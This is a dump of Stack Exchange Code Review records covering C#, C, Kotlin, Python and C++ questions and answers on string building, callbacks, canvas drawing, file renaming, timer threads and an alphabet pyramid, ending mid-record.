<p><strong>UPD:</strong> forgot to say aiming .net3.5 for max compatibility with mono
<strong>UPD2:</strong> got it, had to swap <code>while</code> to <code>for</code> in <code>repeatChar()</code> looks like JIT wasnt able to work out some magic with while.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T04:26:05.820",
"Id": "489647",
"Score": "0",
"body": "So why not the StringBuilder? Are you intentionally trying to reinvent the wheel? We have a tag for that..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T04:29:46.157",
"Id": "489648",
"Score": "1",
"body": "Do we also have tag for people who [dont know what they are talking about](https://www.gavpugh.com/2010/04/01/xnac-avoiding-garbage-when-working-with-stringbuilder/) but want to share their condescending opinion?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T04:39:10.847",
"Id": "489651",
"Score": "3",
"body": "It's a legitimate question. If you have reasons to not use StringBuilder, just speak them out, it may not be obvious to others. Arrogance will get you nowhere..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T04:49:02.547",
"Id": "489652",
"Score": "1",
"body": "Your fallacy has nothing to do with my question because my question isnt \"Should I use StringBuilder or use my custom solution\", I was way past that last week after extensive profiling and research. My question is very specific and you are now being agitated after being pointed out your commentary is unneeded and oftopic."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T06:16:03.193",
"Id": "489660",
"Score": "1",
"body": "@Izukai Is `Span<char>` or `Memory<char>` out of scope? With them you could reduce the direct usage of `unsafe` code. From performance perspective it seems a [valid option](https://www.stevejgordon.co.uk/an-introduction-to-optimising-code-using-span-t). You could also take advantage of `ArrayPool<char>` to reduce memory allocation if it matters for you from performance perspective."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T07:51:51.647",
"Id": "489667",
"Score": "0",
"body": "`[slepic's] commentary is unneeded and oftopic` off-topic: have a spelling checker assist you. [On-topic with CodeReview@SE](https://codereview.stackexchange.com/help/on-topic): `Feel free to call attention to specific areas you are concerned about (performance, formatting, etc). However, any aspect of the code posted is fair game for feedback and criticism.` especially pointing out that you are re-inventing the wheel, unless you tagged (or otherwise indicated that this is indeed intentional)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T11:28:37.143",
"Id": "489680",
"Score": "0",
"body": "@PeterCsala aiming at .NET3.5 for compatibility with old mono 2.x"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T21:14:19.707",
"Id": "489970",
"Score": "0",
"body": "@Izukai your comments looks unfriendly. SE is very huge community. Not all the members have same or stronger skill than you. That's fine. You have no idea who are you talking to. Be kind. Regards."
}
] |
[
{
"body": "<p>Just two observations:</p>\n<ul>\n<li><p>your code does not state prominently what it, what every public member is there for:<br />\ndon't write, never present undocumented.</p>\n</li>\n<li><p>While I expect <em>early out</em> with C# and <code>len == 0</code> needs no preceding computation, I'd use <code>(count < 1 || index < 0 || (len < index + count))</code></p>\n</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T08:03:04.003",
"Id": "249721",
"ParentId": "249716",
"Score": "1"
}
},
{
"body": "<p>There are a couple of cosmetic things that might improve your code. E.g. you can declare multiple pointers in in each <code>fixed</code> statement:</p>\n<pre><code>fixed (char* ptrDest = m_valueStr)\n{\n fixed (char* ptrSrc = value)\n {\n wstrcpy(ptrDest + m_Pos, ptrSrc + indx, charCount);\n }\n}\n</code></pre>\n<p>Becomes:</p>\n<pre><code>fixed (char* ptrDest = m_valueStr, ptrSrc = value)\n{\n wstrcpy(ptrDest + m_Pos, ptrSrc + indx, charCount);\n}\n</code></pre>\n<p>Note: it's normal in C# for all methods to be PascalCase.</p>\n<p>I'd also suggest that your public <code>Append</code> methods return <code>this</code> to allow chaining like a normal <code>StringBuilder</code> does:</p>\n<pre><code>var a = new MutableString(10);\na.Append("A string")\n .Append("!");\n</code></pre>\n<p>Now, my only functional comment is that your <code>ToString</code> method is <em>interesting</em>. I'd go as far as saying it's broken.</p>\n<pre><code>var a = new MutableString(1);\na.Append("a");\nvar areEqual = a.ToString() == a.ToString();\n</code></pre>\n<p>I think anyone used to C# would say that, clearly, <code>areEqual</code> is true. Alas, no. You reset <code>m_pos</code> so the second call returns an empty string. Very odd.</p>\n<p><strike>Without seeing the benchmark code and alternate StringBuilder implementation, I'll shy away from the performance differences.</strike></p>\n<p>I had a bit of a look and saw a good speedup from using Buffer.MemoryCopy. Although, I only ran the benchmark on .Net Core so you'll want to double check results. My bad.</p>\n<pre><code>private unsafe static void wstrcpy(char* dmem, char* smem, int charCount)\n{\n // C# char is always 2 bytes.\n Buffer.MemoryCopy(smem, dmem, charCount * 2, charCount * 2);\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T11:32:04.153",
"Id": "489682",
"Score": "0",
"body": "Thanks for the cosmetics, these are great. Regarding the .ToString() - it is not broken it is very *specific*. As you can see I mutate the string and I fill the remaining of it with null-term chars - it is not intended to be used in proper comparison, the approach not compatible with either that or multithreading. Idea is that it will be called every 11ms to concat a lot of string data and I need no allocations at all, including the return result. And yeah, wish I could use Buffer, aiming .Net3.5 for max compat."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T11:42:20.837",
"Id": "489683",
"Score": "0",
"body": "@Izukai - Take a look at the reference source and pull out the MemoryCopy into your own code ;) In that case, I think you'd be better off having a method called `CreateAndReset` (or similar). `ToString()` doesn't usually mutate an instance - it's best to keep to those conventions."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T11:50:07.570",
"Id": "489685",
"Score": "0",
"body": "I think it is a bit more complex than just copying like I did with `widestrcopy` (I even preserved their name): https://referencesource.microsoft.com#mscorlib/system/buffer.cs,fd6b2f39cf076349 In fact not even sure it will play along with old .net or mono 2.x"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T10:38:08.923",
"Id": "249726",
"ParentId": "249716",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T04:15:34.300",
"Id": "249716",
"Score": "2",
"Tags": [
"c#",
"performance",
"strings",
"monogame"
],
"Title": "String Mutator performance"
}
|
249716
|
<p>I have to register different callback functions to a scheduler. The callback signature defines a <code>void *</code> parameter. Some callbacks don't use a parameter. This works, but is it clean?</p>
<p>I expected at least an incompatible pointer type warning for the missing cast on the parameterless call which I actually get when using a function to register the callback but the compiler doesn't complain about this example.</p>
<pre><code>#include <stdio.h>
typedef void (* cb)(void *);
void noparams(void) {
printf("noparams\n");
}
void params(void * param) {
char * s = param;
printf(s);
}
void call(cb cbk, void * ctx) {
cbk(ctx);
}
int main(void) {
void * context = 0;
call(noparams, context); // warning expected
char str[] = "params\n";
call(params, str);
return 0;
}
</code></pre>
<p><a href="https://ideone.com/bd66cH" rel="nofollow noreferrer">ideone</a></p>
|
[] |
[
{
"body": "<p>When I compile your code with gcc (9.1.1 ) and use the command line option -Wall, I get a warning:</p>\n<pre><code>cb.c:20:10: warning: passing argument 1 of ‘call’ from incompatible pointer type [-Wincompatible-pointer-types]\n 20 | call(noparams, context); // warning expected\n | ^~~~~~~~\n | |\n | void (*)(void)\n</code></pre>\n<p>So you might want to up the warning level on the compilation. You could suppress this warning with a cast -- it is ok to cast function pointers.</p>\n<p>However the real problem is that it is, I believe, undefined behaviour to call a function (either directly or through a function pointer) with a different number of arguments from those given in its definition. (You might want to check this by asking a stack overflow question with tags C and language lawyer).</p>\n<p>If it is indeed UB then you have to avoid it. It might appear to work with a particular compiler, but fail arbitrarily with a different compiler, or even with the same compiler on a different platform.</p>\n<p>What you have to do, I think, is to provide a callback with the demanded arguments. You could do this, for example, by adding</p>\n<pre><code>void noparams_wrap(void* p) {\n noparams();\n}\n</code></pre>\n<p>and passing noparams_wrap to call() rather than noparams() itself.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T09:51:55.467",
"Id": "489877",
"Score": "0",
"body": "Thank you for the answer. I'll ask on SO. The problem with the wrapper function is that the compiler complains about the unused parameter. Still better than UB though. I wonder if there's an elegant solution.\nI use my example on ARM and it probably works because the unused parameter ends up in the scratch register r0 which can be safely ignored/overwritten by the callee.\nI have no clues on why it works on x86_64 (ideone). I don't know the calling conventions for that arch."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T12:11:50.807",
"Id": "249731",
"ParentId": "249720",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T07:52:10.947",
"Id": "249720",
"Score": "2",
"Tags": [
"c",
"callback"
],
"Title": "Supplying parameterless callback to function expecting void * param"
}
|
249720
|
<p>I have piece of code where I draw output from model pixel by pixel:</p>
<pre><code>fun draw(
canvas: Canvas) {
val rotated = sensorOrientation % 180 == 90
var rotatedW = frameWidth;
var rotatedH = frameHeight;
if(rotated) {
rotatedW = frameHeight
rotatedH = frameWidth
}
val multiplier =
min(
canvas.height.toFloat() / rotatedH.toFloat(),
canvas.width.toFloat() / rotatedW.toFloat()
)
val w = (rotatedW * multiplier).toInt()
val h = (rotatedH * multiplier).toInt()
results?.let {
var pos: Int
val xw = w / 256f
val xh = h / 256f
val rectF = RectF()
for (y in 0 until 256) {
for (x in 0 until 256) {
pos = getIndexOfMax(results!![0][y][x])
if (pos > 0) {
val vertical = y / 256f * h
val horizontal = x / 256f * w
rectF.left = horizontal - xw
rectF.top = vertical - xh
rectF.right = horizontal + xw
rectF.bottom = vertical + xh
canvas.drawRect(rectF, boxPaint)
}
}
}
}
}
</code></pre>
<p>However this works really slow. Nested <code>for</code> is probably one of the main issues here. I don't know how can I speed it up. As you can see both counters are necessary here because I need to get certain field from <code>results</code>. I've heard that Bitmap uasage instead of <code>Canvas</code> would be partial solution because I am able to get certain pixels but I don't really know how to use it right. Method <code>draw()</code> is called here inside <code>MainActivity</code>:</p>
<pre><code>trackingOverlay.addCallback(
object : OverlayView.DrawCallback {
override fun drawCallback(canvas: Canvas?) = tracker.draw(canvas!!)
}
)
</code></pre>
<p>And the <code>trackingOverlay</code> is an instance of <code>OverlayView</code> class which inherits from <code>View</code>:</p>
<pre><code>class OverlayView(ctx: Context, attr: AttributeSet) : View(ctx, attr) {
private val callbacks: MutableList<DrawCallback> =
LinkedList()
fun addCallback(callback: DrawCallback) { callbacks.add(callback) }
@Synchronized
override fun draw(canvas: Canvas) {
for (callback in callbacks) {
callback.drawCallback(canvas)
}
}
interface DrawCallback {
fun drawCallback(canvas: Canvas?)
}
}
</code></pre>
<p>I've tried creating <code>Bitmap</code> before draw (to reuse it) and then use <code>canvas.drawBitmap()</code> but it needs transformation <code>Matrix</code> to fill whole screen, otherwise it covers only small chunk of it and even then I haven't noticed any performance increase.</p>
<p><strong>EDIT</strong>
That's how <code>getIndexOfMax()</code> looks like:</p>
<pre><code>private fun getIndexOfMax(array: FloatArray): Int {
if (array.isEmpty()) return -1
return when {
array[0] > array[1] -> 0
else -> 1
}
}
</code></pre>
<p>Results is 4 dim <code>Array</code> of <code>Float</code></p>
|
[] |
[
{
"body": "<h2>TL;DR</h2>\n<p>Introduce coroutines in your code.</p>\n<h2>Analysis</h2>\n<p>It is difficult to optimize a code, where multiple parts are missing, like:</p>\n<ul>\n<li>what does <code>getIndexOfMax</code> do? Maybe this is the bottleneck</li>\n<li>How do <code>results</code> look like? Arrays? Maps? HashMaps?</li>\n</ul>\n<p>I found also some strange code parts, like:</p>\n<ul>\n<li>Why <code>results?.let {</code>? This can be removed completely.</li>\n<li><code>var pos: Int</code> should be moved inside the inner loop and made a <code>val</code></li>\n</ul>\n<h2>Suggestion</h2>\n<p>I have too little context and I'm not familiar with Android, so the only thing I can suggest is <a href=\"https://kotlinlang.org/docs/reference/coroutines-overview.html\" rel=\"nofollow noreferrer\">using coroutines</a>. My Example:</p>\n<pre class=\"lang-kotlin prettyprint-override\"><code>suspend fun draw(canvas: Canvas) = coroutineScope {\n val rotated = sensorOrientation % 180 == 90\n var rotatedW = frameWidth;\n var rotatedH = frameHeight;\n if (rotated) {\n rotatedW = frameHeight\n rotatedH = frameWidth\n }\n\n val multiplier =\n min(\n canvas.height.toFloat() / rotatedH.toFloat(),\n canvas.width.toFloat() / rotatedW.toFloat()\n )\n val w = (rotatedW * multiplier).toInt()\n val h = (rotatedH * multiplier).toInt()\n \n val xw = w / 256f\n val xh = h / 256f\n val rectF = RectF()\n for (y in 0 until 256) {\n for (x in 0 until 256) {\n launch { // <-----\n val pos = getIndexOfMax(results!![0][y][x])\n if (pos > 0) {\n val vertical = y / 256f * h\n val horizontal = x / 256f * w\n rectF.left = horizontal - xw\n rectF.top = vertical - xh\n rectF.right = horizontal + xw\n rectF.bottom = vertical + xh\n canvas.drawRect(rectF, boxPaint)\n }\n }\n }\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T10:45:12.117",
"Id": "490005",
"Score": "0",
"body": "I've made edit to my question. Instead of making `index of max` I can just get value of `array[1]` and check if pos > 0.6 (or 0.7)"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T10:24:00.377",
"Id": "249877",
"ParentId": "249723",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T08:58:47.060",
"Id": "249723",
"Score": "2",
"Tags": [
"performance",
"android",
"kotlin"
],
"Title": "How to speed up drawing process of output from .tflite model"
}
|
249723
|
<p>I have many html files saved to my computer.they have same tags like this: <code>Rpi-Cam-Web-Interface- Page 2 - forum</code>
and the page number changes<br/>
I want to rename file to page number
I use this code:</p>
<pre><code>import re
import os
pattern=re.compile('<title>RPi Cam Web Interface - Page \d*')
for i in os.listdir():
parser=open(i,'r',encoding='utf-8')
m=pattern.search(parser.read())
parser.close()
os.rename(i,m.group()[35:]+'html')
</code></pre>
<p>any better way?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T09:40:12.093",
"Id": "489674",
"Score": "4",
"body": "Did it work? What are you unhappy with?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T15:31:08.527",
"Id": "489705",
"Score": "0",
"body": "My code works fine. but I think maybe my code is beginner and there is a better way to do it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T15:48:55.820",
"Id": "489710",
"Score": "0",
"body": "And If I'm wrong, many webpages will be corrupted.(more than 250)"
}
] |
[
{
"body": "<p><strong>Spacing</strong> For reasonably professional Python code (or for any Python code you or others may have to look at later - ideally, all code you ever write), it would be a good idea to follow the standard <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">PEP 8</a> style guide, to improve readability. To start with, it recommends putting spaces between arguments and operators, and using 4 spaces for indentation:</p>\n<pre><code>pattern = re.compile('<title>RPi Cam Web Interface - Page \\d*')\nfor i in os.listdir():\n parser = open(i, 'r', encoding='utf-8')\n m = pattern.search(parser.read())\n parser.close()\n os.rename(i, m.group()[35:] + 'html')\n</code></pre>\n<p><strong>Raw string</strong> It's a good idea to use raw strings when creating Python patterns so that <a href=\"https://stackoverflow.com/questions/2241600/python-regex-r-prefix\">escape sequences aren't interpreted</a>, and instead the backslashes are treated as <em>regular characters</em> inside the pattern. For this <em>particular</em> pattern you're using, it happens to not be necessary, but if you ever had to change it and match a newline <code>\\n</code> or a word boundary <code>\\b</code> etc, not having used a raw string would result in the script not running as expected.</p>\n<p>In other words, you'd want to do something like:</p>\n<pre><code>pattern = re.compile(r'<title>RPi Cam Web Interface - Page \\d*')\n# ^\n</code></pre>\n<p><strong>Pattern</strong> I see 2 issues with the pattern:</p>\n<ul>\n<li>The page number is <em>optional</em> because you're matching with <code>\\d*</code> instead of <code>\\d+</code>. Using <code>\\d+</code> to match <em>one or more digits</em> would make the intent of the pattern clearer. (<code>\\d*</code> matches "zero or more digits")</li>\n<li>You're manually extracting the page number from the match with <code>m.group()[35:]</code>. Use a capturing group in the pattern instead of having to manually count up indicies:</li>\n</ul>\n<pre><code>pattern = re.compile(r'<title>RPi Cam Web Interface - Page( \\d+)')\n# ^^^^^^\n# ...\n page_number = m.group(1)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T05:13:45.703",
"Id": "489782",
"Score": "0",
"body": "thanks it works. but why it would be better if I use raw string? Doesn't raw strings mean that escaping characters are interpreted as regular characters? well ,don't '\\d' should be interpreted as escape character?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T13:51:41.940",
"Id": "489807",
"Score": "1",
"body": "`\\d` is not an escape character in a normal non-raw string, but many other characters *are* escape characters, like `\\r`, `\\n`, `\\b`, and so on. To use *those* escape characters, you'll either have to double-escape the backslash in order to use them, or use a raw string. Simply using a raw string every time so you don't have to worry about it is the better choice."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T14:08:50.237",
"Id": "249738",
"ParentId": "249724",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "249738",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T09:01:05.933",
"Id": "249724",
"Score": "3",
"Tags": [
"python",
"html",
"regex"
],
"Title": "rename .html file from <title> tag with python"
}
|
249724
|
<p>I've implemented a <code>setTimeout</code> thread similar to the one in JavaScript (new to thread programming)</p>
<p>In the example <a href="https://en.cppreference.com/w/cpp/thread/condition_variable/wait_until" rel="nofollow noreferrer">on this page</a> I see use of an atomic variable <code>i</code> which I think it to make sure no race conditions occurs on 'i', but from what I've read I don't think there is an atomic <code>multimap</code>.</p>
<p>From the code a race condition might arise on the UI thread at <code>queue.emplace(...)</code> and in the thread iterating over the <code>queue</code>.</p>
<p>Does my thread code look up to the job generally, and should I be using another <code>condition_variable</code> to block on <code>queue</code> access?</p>
<hr />
<p><strong>UPDATE</strong></p>
<p>I think I definitely needed to make the <code>queue</code> manipulations thread safe. I went down various dead ends on this as I'm learning how to program threads. In the end using a <code>shared_timed_mutex</code> worked ! This type of mutex can be shared across threads to synchronise data access and manipulation, e.g. you can use</p>
<pre><code>{
unique_lock<shared_timed_mutex> lock(shared_m); // for writing
// write data to whatever...
}
</code></pre>
<p>and</p>
<pre><code>{
shared_lock<shared_timed_mutex> lock(shared_m); // for reading
// read data from wherever...
}
</code></pre>
<p>Each <code>*_lock</code> will block if the mutex is currently locked, or you can add additional parameters to specify other types of behaviour. Each lock is released after the scope is exited.</p>
<hr />
<p>Here's my original code:</p>
<p><strong>WorkerThread.hpp:</strong></p>
<pre><code>using namespace std;
using namespace chrono;
class WorkerThread
{
public:
typedef chrono::milliseconds Millis;
typedef function<void(void)> Function;
bool running = false;
thread t;
multimap<time_point<system_clock>, Function> queue; // function queue (sorted)
condition_variable cv;
mutex cv_m;
Millis msMin = 1ms; // lowest sleep time allowed
Millis msMax = 5ms; // highest execution time preferred
time_point<system_clock> waitUntil; // next wake up time
void setTimeout(Millis ms, Function f) {
// is this line risky? what if the thread is processing queue?
auto taskTime = system_clock::now() + ms;
queue.emplace(taskTime, f);
if(taskTime < waitUntil) {
cout << "this task is earlier than previously added tasks" << endl;
cv.notify_all(); // wake up waits in case this timeout task is more recent
}
}
WorkerThread() {
running = true;
t = thread([=]() {
std::unique_lock<std::mutex> lk(cv_m);
while (running == true) {
if(queue.empty()){
cout << "empty queue, sleep 60000ms" << endl;
// wake up in a minute if there's nothing to do
waitUntil = system_clock::now() + 60000ms;
// nothing to do, except if woken up
if(cv.wait_until(lk, waitUntil) == cv_status::timeout)
cout << "thread timed out" << endl;
else
cout << "thread woken up - earlier task identified !" << endl;
}
else {
// sleep until next task is ready ("up to" minimum permissible time)
waitUntil = max((*queue.begin()).first, system_clock::now() + msMin);
cout << "sleeping until next task: " << waitUntil.time_since_epoch().count() << endl;
// wait until next task, unless woken up
if(cv.wait_until(lk, waitUntil) == cv_status::timeout)
cout << "thread timed out" << endl;
else
cout << "thread woken up - earlier task identified !" << endl;
}
// process all available tasks up to maximum execution time
auto maxtime = system_clock::now() + msMax;
for(auto task = queue.begin(); task != queue.end(); ) {
if((*task).first <= maxtime) {
cout << "running task at: " << (*task).first.time_since_epoch().count() << endl;
(*task).second(); // run the task
// delete the task (the safe way)
auto taskSaved = task;
task++;
queue.erase(taskSaved);
}
else break; // max exec time reached, exit the for loop
}
}
});
}
void stop()
{
running = false;
t.join();
}
};
</code></pre>
<p><strong>Main:</strong></p>
<pre><code> t = new WorkerThread();
this_thread::sleep_for(1000ms);
t->setTimeout(15000ms, []() { cout << "Hello from 2" << endl; } );
cout << "added timeout 1" << endl;
this_thread::sleep_for(6000ms);
t->setTimeout(4000ms, []() { cout << "Hello from 1" << endl; } );
cout << "added timeout 2" << endl;
this_thread::sleep_for(100000ms);
t->stop();
</code></pre>
<p>This code creates two timeouts, the first is set to trigger 15 seconds and the second 10 seconds from the beginning, but they're set up in such a way as to test the thread wakes up the <code>wait_until</code>'s properly, which indeed works:</p>
<pre><code>empty queue, sleep 60000ms
this task is earlier than previously added tasks
added timeout 1
thread woken up - earlier task identified !
sleeping until next task: 1600855233135593
this task is earlier than previously added tasks
thread woken up - earlier task identified !added timeout 2
sleeping until next task: 1600855228137566
thread timed out
running task at: 1600855228137566
Hello from 1
sleeping until next task: 1600855233135593
thread timed out
running task at: 1600855233135593
Hello from 2
empty queue, sleep 60000ms
</code></pre>
|
[] |
[
{
"body": "<h1>Lock the mutex in <code>setTimeout()</code></h1>\n<p>You have at least two threads accessing <code>queue</code>, so you have to ensure they don't update it simultaneously. You are holding the lock inside <code>WorkerThread()</code>, but you should also hold it inside <code>setTimeout()</code>.</p>\n<h1>Give the class a better name</h1>\n<p>Yes, the class uses a worker thread to wait until the next timeout, but it is more than just the worker thread. It is actually a timer queue, where you can add timers that call a function when they time out.</p>\n<pre><code>class TimerQueue {\n ...\n};\n</code></pre>\n<p>Also, <code>setTimeout()</code> sounds like it sets the timeout of the whole object. But it just adds an element to the queue. So I would name it <code>addTimer()</code>, or rather just <code>add()</code> or <code>insert()</code>, since it is clear from the name <code>TimerQueue</code> that you would add timers to it.</p>\n<h1>Avoid using a lambda for the thread function</h1>\n<p>It's not necessary. Why are you capturing the context by value? Were you aware that it still captures <code>this</code> by reference? Just use a regular member function for this. You can even have the thread initialized without needing a constructor, like so:</p>\n<pre><code>class TimerQueue {\n void worker() {\n std::unique_lock<std::mutex> lk(cv_m);\n\n while (running) {\n ...\n }\n }\n\n thread workerThread{&TimerQueue::worker, this};\n ...\n};\n</code></pre>\n<p>You still need a destructor to <code>join()</code> the thread, although in C++20 this is no longer necessary if you use a <a href=\"https://en.cppreference.com/w/cpp/thread/jthread\" rel=\"nofollow noreferrer\"><code>std::jthread</code></a>.</p>\n<h1>Ensure the destructor wakes up the worker thread</h1>\n<p>Your worker thread can sleep for up to 60 seconds if there is nothing in the queue. If you destroy the timer queue during that time, you might have to wait a long time for the call to <code>join()</code> to finish. Make sure you wake up the thread in the destructor:</p>\n<pre><code>~TimerQueue() {\n std::lock_guard<std::mutex> lk(cv_m);\n running = false;\n cv.notify_one();\n workerThread.join();\n}\n</code></pre>\n<p>Another option is to enqueue a special item in the queue that signals that the worker thread should stop, and have the worker thread immediately exit the function if it encounters that item. This avoids the need for the variable <code>running</code>.</p>\n<h1>Avoid using <code>system_clock</code> for timers</h1>\n<p>The problem with <code>system_clock</code> is that it can suddenly jump, for example because of daylight saving time changes, leap seconds, and NTP updates. You should use <a href=\"http://std::chrono::steady_clock\" rel=\"nofollow noreferrer\"><code>std::chrono::steady_clock</code></a> instead. I recommend you create a type alias for it:</p>\n<pre><code>using clock = std::chrono::steady_clock;\n</code></pre>\n<p>And then use it like so:</p>\n<pre><code>multimap<clock::time_point, Function> queue;\nclock::time_point waitUntil;\n...\nwaitUntil = clock::now() + ...;\n</code></pre>\n<h1>Consider using a <code>std::priority_queue</code></h1>\n<p>C++ has a container specifically to keep things sorted by priority: <a href=\"https://en.cppreference.com/w/cpp/container/priority_queue\" rel=\"nofollow noreferrer\"><code>std::priority_queue</code></a>. Consider using that. The only drawback is that it works more like a <code>std::set</code> than a <code>std::map</code>, you you have to define some struct to hold both a time point and a callback function, and have it sort correctly:</p>\n<pre><code>struct Timer {\n clock::time_point deadline;\n Function callback;\n\n bool operator<(const Timer &other) const {\n return other.deadline < deadline;\n }\n};\n\nstd::priority_queue<Timer> queue;\n</code></pre>\n<h1>You don't need <code>waitUntil</code></h1>\n<p>You already know the next time to wake up by looking at the earliest time point in <code>queue</code>.</p>\n<h1>Avoid code duplication</h1>\n<p>Inside the worker thread, you deal with the case of an empty queue and a non-empty queue. However, the code in both cases is identical, except for the time point to wait until. You could just write:</p>\n<pre><code>waitUntil = clock::now() + queue.empty() ? 60000ms : queue.front().deadline;\ncv.wait_until(lk, waitUntil);\n</code></pre>\n<h1>Declare constants as such</h1>\n<p>You declare the variables <code>msMin</code> and <code>msMax</code>, and they look like constants, but you\ndidn't tell the compiler about that fact. You can make them <code>const</code>, or even better <code>static constexpr</code>. But for the latter, you have to actually define them in a <code>.cpp</code> file as well, which is a bit annoying. This is fixed in C++17, where you can specify them as <code>static inline constexpr</code>.</p>\n<h1>Avoid iterator invalidation</h1>\n<p>When processing tasks that have expired, you call <code>queue.erase()</code>, but you already noticed you have to be careful to not invalidate the iterator. Relying on incrementing the iterator before calling <code>erase()</code> is not guaranteed to work. Instead, use the return value of <a href=\"https://en.cppreference.com/w/cpp/container/multimap/erase\" rel=\"nofollow noreferrer\"><code>erase()</code></a> as the iterator to the next element:</p>\n<pre><code>for (auto task = queue.begin(); ...) {\n if (...) {\n ...\n task = queue.erase(task);\n } else {\n break;\n }\n}\n</code></pre>\n<p>If you use a <code>std::priority_queue</code> instead, I would write the code like:</p>\n<pre><code>while (!queue.empty()) {\n auto timer = queue.top();\n\n if (timer.deadline < maxtime) {\n timer.callback();\n queue.pop();\n } else {\n break;\n }\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T20:03:43.967",
"Id": "249804",
"ParentId": "249725",
"Score": "5"
}
},
{
"body": "<p>One year later, I'd like to show my updated version, as my original implementation was way too under-the-bonnet. I had no idea I could do this back then:</p>\n<pre><code>// call a one off function synchronously with initial delay\nvoid syncRun(millis delay, const function<void()>& func) {\n thread t([=]() {\n this_thread::sleep_for(delay);\n func();\n });\n t.detach();\n}\n\n// repeatedly call a function synchronously with initial delay and interval\nvoid syncRun(millis delay, millis repeatEvery, long n, const function<void(long)>& func) {\n thread t([=]() {\n long counter = 0;\n this_thread::sleep_for(delay);\n while(counter++ < n) {\n func(counter);\n this_thread::sleep_for(repeatEvery);\n }\n });\n t.detach();\n}\n</code></pre>\n<p>C++ will automatically clean up the threads when they finish.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-10-05T21:47:52.573",
"Id": "529981",
"Score": "0",
"body": "Hi! If you want your new code to be reviewed, you should post it as a new code review question. Also, [this StackOverflow question](https://stackoverflow.com/questions/22803600/when-should-i-use-stdthreaddetach) might be relevant."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-10-05T21:27:05.200",
"Id": "268706",
"ParentId": "249725",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "249804",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T10:31:28.197",
"Id": "249725",
"Score": "4",
"Tags": [
"c++",
"multithreading",
"thread-safety"
],
"Title": "Is my implementation of a C++ setTimeout thread correct?"
}
|
249725
|
<p>Expected Input:
Enter the number of rows: 5</p>
<p>Expected Output:</p>
<pre><code> A
A B A
A B C B A
A B C D C B A
A B C D E D C B A
</code></pre>
<p>I have solved this problem in this way-></p>
<pre><code>//Write a program to build a pyramid with uses of alphabets
#include <stdio.h>
int
main(void){
//Put variables here
int space,num_of_rows,p=1,t=0;
char alphabet[100]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
printf("Enter the number of rows : ");
//Getting the input from the user
scanf("%d",&num_of_rows);
//Handling total row issues
for(int i=0; i<num_of_rows; i++){
//Handling space issues
for(space=0; space<num_of_rows-i; space++)
printf(" ");
//Handling alphabets
for(int j=1; j<=p; j++){
//To construct the first row and first position of each of the row as A
if(i==0 || j==1){
alphabet[t]='A';
}
//To construct the last position of each of the row as A
else if(j==p){
alphabet[t]='A';
}
//Handling the middle position issues
else if(i+1>=j){
alphabet[t]++;
}
else{
alphabet[t]--;
}
printf("%c",alphabet[t]);
}
printf("\n");
p+=2;
}
}
</code></pre>
<p>Now what I want to accomplish from you: How can I simplify my solution?. Will I face any problem for some conditions? Is it possible to solve this problem without using an array? Then what will be the strategy?. Thank you in advance.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T13:32:18.207",
"Id": "489695",
"Score": "0",
